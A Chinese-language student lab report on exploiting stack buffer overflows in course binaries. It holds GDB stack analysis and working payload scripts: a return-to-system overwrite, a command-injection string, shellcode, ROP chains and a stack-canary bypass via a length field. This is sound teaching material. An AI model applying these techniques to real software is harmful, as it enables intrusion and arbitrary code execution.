ICS Lab 3 实验报告

1. 实验环境

- 架构：x86-64
- 系统：Debian 13 (trixie)

Payload 生成脚本位于仓库根目录：

脚本	目标	预期输出
`payload.py`	`attack/dark-calc`	`You have successfully detonated the bomb! Congratulations!`
`payload_dark.py`	`attack/dark-calc`	`Hope A will be your grade!`
`payload_rop.py`	`attack/dark-calc-nx`	`Hope A will be your grade!`
`payload_canary.py`	`attack/dark-log`	`Hope A will be your grade!`

2. 二进制保护机制分析

程序	类型	NX	Canary	说明
`dark-calc`	非 PIE（ET_EXEC）	常规栈 NX，但程序 mmap 了 RWX 固定栈	无	存在 `init_fixed_stack` 、 `__wrap_main`
`dark-calc-nx`	非 PIE（ET_EXEC）	开启	无	普通栈，ROP 目标
`dark-log`	非 PIE（ET_EXEC）	开启	开启	栈保护版本，Canary 目标

关键符号与地址：

符号	`dark-calc`	`dark-calc-nx`	`dark-log`
`input`	`0x401977`	`0x401868`	`0x4016d6`
`eval`	`0x4019d7`	`0x4018c8`	无
`grade_eval`	`0x401a87`	`0x401978`	`0x401677`
`main`	`0x401ac3`	`0x4019b4`	`0x4017f5`
`system@plt`	`0x4017e0`	`0x401680`	无
`exit@plt`	`0x401880`	`0x4016e0`	无
`__stack_chk_fail@plt`	无	无	`0x401550`

dark-calc 额外符号：

- init_fixed_stack = 0x401add
- __wrap_main = 0x401c0e
- fixed_stack_top = 0x6030f0
- command_buf = 0x6030d0

__wrap_main 并不直接调用原来的 main 入口，而是先把 rsp 设置为 fixed_stack_top ，再调用 main ：

```
0x401c0e <__wrap_main>:
  push r12
  mov  r12, rsp
  mov  rsp, QWORD PTR [fixed_stack_top]
  call main
  mov  rsp, r12
  pop  r12
  ret
```

3. 任务一

3.1 dark-calc / dark-calc-nx

input 的关键汇编如下：

```
push rbp
mov  rbp, rsp
sub  rsp, 0x10
lea  rax, [rbp-0x10]
mov  rdi, rax
call gets@plt
```

因此栈帧布局为：

地址（相对 rbp ）	内容
rbp-0x10 ~ rbp-0x01	expression[16]
rbp ~ rbp+0x07	saved rbp
rbp+0x08 ~ rbp+0x0f	返回地址

缓冲区只有 16 字节，而 gets 不检查长度，因此写入超过 16 字节就会覆盖 saved rbp，超过 24 字节就会覆盖返回地址。

dark-calc 使用固定栈， __wrap_main 将 rsp 设为 0x721000801000 。GDB 在 input 建立栈帧后观察：

```
(gdb) b *0x40197b
(gdb) run
Breakpoint 1, 0x000000000040197b in input ()
(gdb) info registers rbp rsp
rbp            0x721000800fe0
rsp            0x721000800fe0
(gdb) p/x $rbp-0x10
$1 = 0x721000800fd0
(gdb) x/8gx $rbp-0x20
0x721000800fc0: 0x0000000000000000  0x0000000000000000
0x721000800fd0: 0x0000000000000000  0x0000000000000000
0x721000800fe0: 0x0000721000800ff0  0x0000000000401ad1
0x721000800ff0: 0x0000000000000001  0x0000000000401c1f
```

由此可见：

- `expression` 固定在 `0x721000800fd0`
- saved rbp 在 `0x721000800fe0`
- 返回地址在 `0x721000800fe8`
- 固定栈顶 Guard page 从 `0x721000801000` 开始

`dark-calc-nx` 的布局相同，但使用普通可变的栈地址。

3.2 `dark-log`

`input` 的局部变量更多，关键汇编：

```
sub  rsp, 0x120
mov  rax, QWORD PTR fs:0x28
mov  QWORD PTR [rbp-0x8], rax
mov  DWORD PTR [rbp-0x20], 0
lea  rax, [rbp-0x120]
call gets@plt
```

布局为：

地址（相对 `rbp`）	内容
`rbp-0x120 ~ rbp-0xA1`	`expression[128]`
`rbp-0xA0 ~ rbp-0x21`	`logMsg[128]`
`rbp-0x20 ~ rbp-0x1D`	`len`
`rbp-0x18 ~ rbp-0x11`	`pad[8]`
`rbp-0x08 ~ rbp-0x01`	stack canary
`rbp ~ rbp+0x07`	saved rbp
`rbp+0x08 ~ rbp+0x0f`	返回地址

GDB 观察（本机地址会随 ASLR 变化，这里只保留相对关系）：

```
(gdb) b *0x4016f0
(gdb) run
(gdb) p/x $rbp-0x120
$1 = 0x7fffffffda10
(gdb) p/x $rbp-0xa0
$2 = 0x7fffffffda90
(gdb) p/x $rbp-0x20
$3 = 0x7fffffffdb10
(gdb) p/x $rbp-0x8
$4 = 0x7fffffffdb28
```

4. 任务二

使用由 `1` 组成的字符串测试 `dark-calc` ，命令如下：

```
python3 -c "import sys; sys.stdout.write('1'*N + '\n')" > /tmp/in.bin
cd attack
timeout 2 ./dark-calc < /tmp/in.bin
```

观察结果：

输入长度	退出状态	现象
1 / 10 / 15	0	正常执行 `echo $((...))` ，随后 EOF 输出 `42_is_The_Ànswer`
16	0	刚好写满 `expression` ，NUL 覆盖 saved rbp 最低字节，但返回地址完好
20	0	覆盖部分 saved rbp，返回地址仍完好
24	135（SIGBUS）	NUL 覆盖返回地址最低字节， `0x401ad1` 变成 `0x401a00` ，崩溃
30 / 31 / 32	139（SIGSEGV）	返回地址被破坏，控制流崩溃
40 / 47	139（SIGSEGV）	继续向上覆盖，崩溃
48	139（SIGSEGV）	`gets` 写入的 NUL 到达 `0x721000801000` 的 Guard page，读取/写入时崩溃

结论：

- 长度 ≤ 20 时程序仍可继续运行，因为只破坏了 saved rbp，没有影响返回地址。
- 长度 ≥ 24 时开始破坏返回地址，程序崩溃。
- 除了栈上的 `expression` ， `input` 还会执行 `strcpy(command_buf, expression)` ，而 `command_buf` 只有 31 字节；长度超过 31 时还会溢出全局区，但在当前利用中不是主要路径。
- 固定栈顶部 Guard page 把可利用的栈溢出长度限制在约 47 字节以内，这一点在后续栈执行和 ROP 中很重要。

5. 任务三

5.1 漏洞分析

`input` 中的 `gets(expression)` 存在栈溢出。同时，`input` 在 `gets` 之后执行：

```
strcpy(command_buf, expression);
```

在 `dark-calc` 的机器码中，`strcpy` 返回后 `rdi` 仍然保存着 `command_buf` 的地址 `0x6030d0`，`rax` 也返回该地址。因此可以通过覆盖 `input` 的返回地址直接调用 `system@plt`，让 `system` 的参数恰好指向 `command_buf`。

`command_buf` 中由 `strcpy` 写入的内容来自 `expression`，所以只要让输入字符串以 `./malware` 开头，就能执行 `./malware`。

5.2 Payload 构造

`payload.py`：

```
payload  = b"./malware\x00".ljust(16, b"A")   # expression[16]
payload += b"B" * 8                           # saved rbp
payload += p64(0x401C94)                      # ret gadget
payload += p64(0x4017E0)                      # system@plt
payload += b"\n"
```

布局：

偏移	内容
`0x00 ~ 0x0F`	`"./malware\0"` + 填充，供 `strcpy` 复制到 `command_buf`
`0x10 ~ 0x17`	覆盖 saved rbp
`0x18 ~ 0x1F`	`ret` gadget `0x401c94`
`0x20 ~ 0x27`	`system@plt = 0x4017e0`

`0x401c94` 是一条单独的 `ret` 指令，它的作用是调整栈对齐：进入 `system` 时 `rsp % 16 == 8`，符合 x86-64 ABI。进入 `system` 后，`rdi` 仍为 `command_buf`，因此执行 `system("./malware")`。

`system` 返回时会读取 `0x721000800ff8` 处的返回地址，而该位置已经接近固定栈顶的 Guard page，因此程序会在 bomb 输出后崩溃；但 `./malware` 已经执行完成，测试只检查标准输出，所以不影响判定。

5.3 运行结果

```
### The bomb was triggered by the dark-calc process. ###
### You have successfully detonated the bomb! Congratulations! ###
```

5.4 另一种思路：命令注入

`eval` 会把输入包装成：

```
echo $((用户输入))
```

并调用 `system`。如果输入：

```
0));./malware;#
```

最终命令为：

```
echo $((0));./malware;#))
```

其中 `#` 注释掉尾部括号，从而执行 `./malware`。该方法更简单，但本次提交的 `payload.py` 使用返回地址覆盖，以体现缓冲区溢出利用。

6. 任务四

以 `dark-calc` 为例：

```
(gdb) set disassembly-flavor intel
(gdb) disassemble /r main
```

关键机器码与汇编：

```
0x401ac3 <main>: 55                    push rbp
0x401ac4:        48 89 e5              mov  rbp, rsp
0x401ac7:        b8 00 00 00 00        mov  eax, 0
0x401acc:        e8 a6 fe ff ff        call input
0x401ad1:        b8 00 00 00 00        mov  eax, 0
0x401ad6:        e8 fc fe ff ff        call eval
0x401adb:        eb ea                 jmp  0x401ac7
```

分析：

- `main` 没有任何局部变量和栈保护，只是无限循环调用 `input` 和 `eval`。
- 返回地址被覆盖后，不需要返回到 `main`，可以直接劫持到 `system`。
- `dark-calc` 通过 `.init_array` 调用 `init_fixed_stack`，并通过 `__wrap_main` 把 `rsp` 切到固定栈，这是后续栈执行任务的关键。

`dark-calc-nx` 的 `main` 结构相同，但没有固定栈 wrapper。

7. 任务五

7.1 固定可执行栈

`dark-calc` 的 `init_fixed_stack` 执行：

```
mmap(0x721000000000, 0x802000, PROT_READ|PROT_WRITE|PROT_EXEC,
     MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED_NOREPLACE, -1, 0);
```

然后把底部页和顶部页设为不可访问，作为 Guard page：

- mmap 区域：从 `0x721000000000` 开始，长度为 `0x802000`
- 底部 Guard page： `0x721000000000 ~ 0x721000000fff`
- 顶部 Guard page： `0x721000801000 ~ 0x721000801fff`
- `fixed_stack_top = 0x721000801000`
- `__wrap_main` 把 `rsp` 设为 `0x721000801000`，再调用 `main`

因此 `input` 的 `expression` 固定在 `0x721000800fd0`，可以提前写入 shellcode 并直接跳转过去执行。

7.2 Shellcode

需要调用 `grade_eval(4)`，即 `0x401a87`。Shellcode：

```
push 4
pop  rdi
mov  eax, 0x401a87
call rax
ret
```

机器码：

```
6a 04 5f b8 87 1a 40 00 ff d0 c3
```

共 11 字节，放入 16 字节的 `expression` 中。

7.3 Payload 构造

`payload_dark.py`：

```
shellcode = bytes.fromhex("6a045fb8871a4000ffd0c3")

payload  = shellcode.ljust(16, b"A")  # expression[16]
payload += b"B" * 8                    # saved rbp
payload += p64(0x721000800FD0)         # 返回地址 -> shellcode
payload += p64(0x401880)               # exit@plt
payload += b"\n"
```

执行流程：

1. `input` 的 `ret` 跳转到 `0x721000800fd0` 。
2. shellcode 设置 `rdi=4` ，调用 `grade_eval` 。
3. `grade_eval` 输出 `Hope A will be your grade!` 并刷新 `stdout` 。
4. shellcode 中的 `ret` 返回 `exit@plt` ，正常退出。

7.4 运行结果

```
Enter an expression (length up to 15):

 Hope A will be your grade!
```

8. 任务六

8.1 目标与限制

`dark-calc-nx` 开启了 NX，不能执行栈上的 shellcode，但仍然是非 PIE，代码地址固定。目标是调用：

```
grade_eval(4);
```

8.2 Gadget 搜索

在 `dark-calc-nx` 的 `__libc_csu_init` 末尾附近存在未对齐的 gadget：

```
0x401a32: 41 5f    pop r15
0x401a34: c3       ret
```

从 `0x401a33` 开始解释时，字节 `5f c3` 就是：

```
pop rdi
ret
```

因此：

- `pop rdi; ret = 0x401a33`
- `ret = 0x401a34`
- `grade_eval = 0x401978`
- `exit@plt = 0x4016e0`

8.3 Payload 构造

`payload_rop.py`：

```
payload  = b"A" * 16          # expression
payload += b"B" * 8           # saved rbp
payload += p64(0x401A33)      # pop rdi; ret
payload += p64(4)             # rdi = 4
payload += p64(0x401A34)      # ret，用于栈对齐
payload += p64(0x401978)      # grade_eval
payload += p64(0x401A34)      # ret，用于 exit 对齐
payload += p64(0x4016E0)      # exit@plt
payload += b"\n"
```

多放一个 `ret` gadget 是为了满足 x86-64 的 16 字节栈对齐要求，避免 `grade_eval` 内部的 `printf` / `fflush` 因 `movaps` 对齐问题崩溃。

8.4 运行结果

```
Enter an expression (length up to 15):

 Hope A will be your grade!
```

9. 任务七

9.1 保护分析

`dark-log` 的 `input` 在 `rbp-0x8` 保存 canary，并在函数返回前检查：

```
mov  rax, QWORD PTR fs:0x28
mov  QWORD PTR [rbp-0x8], rax
...
mov  rax, QWORD PTR [rbp-0x8]
xor  rax, QWORD PTR fs:0x28
je   ok
call __stack_chk_fail@plt
```

直接用 `gets` 覆盖返回地址会同时覆盖 canary，导致 `__stack_chk_fail`。

9.2 绕过思路

`input` 中还有一段 `memcpy`：

```
f.len = 0;
gets(f.expression);
memcpy(f.logMsg + f.len, f.expression, sizeof(f.expression));
```

其中：

- `f.expression = rbp-0x120`
- `f.logMsg = rbp-0xA0`

- `f.len = rbp-0x20`

关键点是 `f.len` 位于 `f.expression` 之后，可以被 `gets` 溢出修改。利用这个长度字段，可以控制 `memcpy` 的目标地址：

```
dest = f.logMsg + f.len = (rbp - 0xA0) + len
```

选择 `len = 0xA0` ，则：

```
dest = rbp
```

`memcpy` 会从 `expression` 复制 128 字节到 `rbp` 开始的位置，覆盖 saved rbp、返回地址以及更高的栈，但不会覆盖 `rbp-0x8` 处的 canary。这样 canary 检查仍然通过。

同时， `gets` 本身只写到 `len` 字段（偏移 `0x100` ）为止，不写到 canary（偏移 `0x118` ），所以 canary 保持原值。

9.3 Payload 构造

`payload_canary.py`：

```
payload  = b"A" * 8            # memcpy 后的 saved rbp
payload += p64(0x4018A3)       # pop rdi; ret
payload += p64(4)              # rdi = 4
payload += p64(0x4018A4)       # ret，栈对齐
payload += p64(0x401677)       # grade_eval
payload += p64(0x4018A4)       # ret
payload += p64(0)              # grade_eval 返回后跳 0
payload = payload.ljust(0x100, b"\x00")
payload += struct.pack("<I", 0xA0)  # f.len = 0xA0
payload += b"\n"
```

执行流程：

1. `gets` 读入 `0x104` 字节， `f.len` 被设置为 `0xA0` ，canary 未被触碰。
2. `memcpy` 把 ROP 链复制到 `rbp` ，覆盖 saved rbp 和返回地址。
3. `input` 的 canary 检查通过。
4. `leave; ret` 进入 ROP 链，调用 `grade_eval(4)` 。
5. `grade_eval` 输出并刷新 `stdout` 。
6. 链最后返回 0，程序在输出后崩溃；由于输出已经刷新，不影响测试结果。

9.4 运行结果

```
Enter a log message:

 Hope A will be your grade!
```

10. 复现命令

```
# Task 1
python3 payload.py | (cd attack && ./dark-calc)

# Task 2
python3 payload_dark.py | (cd attack && ./dark-calc)

# Task 3
python3 payload_rop.py | (cd attack && ./dark-calc-nx)

# Task 4
python3 payload_canary.py | (cd attack && ./dark-log)
```

更接近 CI 的方式：

```
python3 payload.py > /tmp/payload.bin
cd attack
timeout 15 ./dark-calc < /tmp/payload.bin
```

11. 总结

任务	方法	结果
观察 `input` 栈帧	GDB + 反汇编	已记录缓冲区、saved rbp、返回地址、canary 偏移
不同长度输入测试	1~48 字节输入	≤20 正常，≥24 崩溃，48 触发 Guard page
执行 `./malware`	覆盖返回地址 → `system(command_buf)`	成功触发 bomb
检查 `main` 机器码	GDB `disassemble /r main`	确认为 `input/eval` 无限循环，无栈保护
栈空间执行	固定 RWX 栈 + shellcode 调用 `grade_eval(4)`	成功输出 Hope A
ROP	`pop rdi; ret` + `grade_eval(4)`	成功输出 Hope A
Canary	改写 `len` 让 `memcpy` 跳过 canary 写返回地址	成功输出 Hope A

本实验的关键点在于：

- `gets` 的无长度限制导致栈溢出；
- `dark-calc` 的固定栈同时提供了可执行栈和地址稳定性，但顶部 Guard page 限制了溢出长度；
- 非 PIE 二进制让 gadget 和函数地址固定，便于 ROP；
- `dark-log` 的 canary 并不是不可绕过， `len` 字段和 `memcpy` 的组合提供了一条跳过 canary 的写入路径。

附录

`payload.py` 和 `payload_canary.py` 在输出目标字符串后可能因 Guard page 或返回 0 而崩溃，但标准输出已经产生